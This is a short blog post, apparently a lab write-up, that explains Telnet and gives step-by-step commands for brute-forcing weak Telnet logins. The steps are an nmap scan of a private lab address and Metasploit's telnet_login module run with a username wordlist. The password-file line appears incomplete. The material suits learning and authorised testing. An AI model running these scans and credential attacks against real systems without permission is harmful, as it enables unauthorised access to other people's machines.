# Telnet Weak Credentials Exploitation

2 min read
Table of Contents

1. What is Telnet?

Telnet is a network protocol used to remotely access and manage systems over a TCP/IP network. It typically runs on port 23 and allows users to log into a remote machine and execute commands.

Telnet supports:

  • Remote login access
  • Command execution on remote systems
  • Communication between client and server

2. How Telnet Works

Telnet works on a client-server architecture using a single connection:

  • Port 23: Used for communication between client and server

Process:

  1. Client connects to the Telnet server
  2. Server prompts for username and password
  3. User enters credentials
  4. If valid, access to remote shell is granted
  5. Commands can be executed on the target system

3. Vulnerability Exploited

Vulnerability Name:

Weak Credentials in Telnet Service

Type:

Authentication Weakness / Misconfiguration

CVE:

N/A (Configuration-based vulnerability)

Description:

The service running on port 23/tcp is identified as Linux telnetd. The Telnet service is configured with weak/default credentials, making it vulnerable to brute force or credential-based attacks using automated tools like Metasploit.


4. How the Exploit Works (Concept)

  • The attacker scans the target and finds Telnet running on port 23.
  • The service is identified as Linux telnetd.
  • The attacker uses a brute-force module in Metasploit.
  • A list of usernames and passwords is tested automatically.
  • Valid credentials are discovered.
  • The attacker logs in and gains shell access.

5. Exploitation

Recon using Nmap

Terminal window
nmap -sV 192.168.72.130

Step 1: Start Metasploit

Terminal window
msfconsole

Step 2: Search for Telnet modules

Terminal window
search telnet

Step 3: Use Telnet login module

Terminal window
use auxiliary/scanner/telnet/telnet_login

Step 4: Set target IP

Terminal window
set RHOSTS <target-ip>

Step 5: Set username and password list

Terminal window
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set PASS_FILE +

Step 6: Run the module

Terminal window
run

6. Result

  • Metasploit successfully identifies valid Telnet credentials.
  • Using these credentials, shell access is obtained.
  • The attacker can execute commands on the target system.

Example:

Terminal window
whoami
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


More Posts

Comments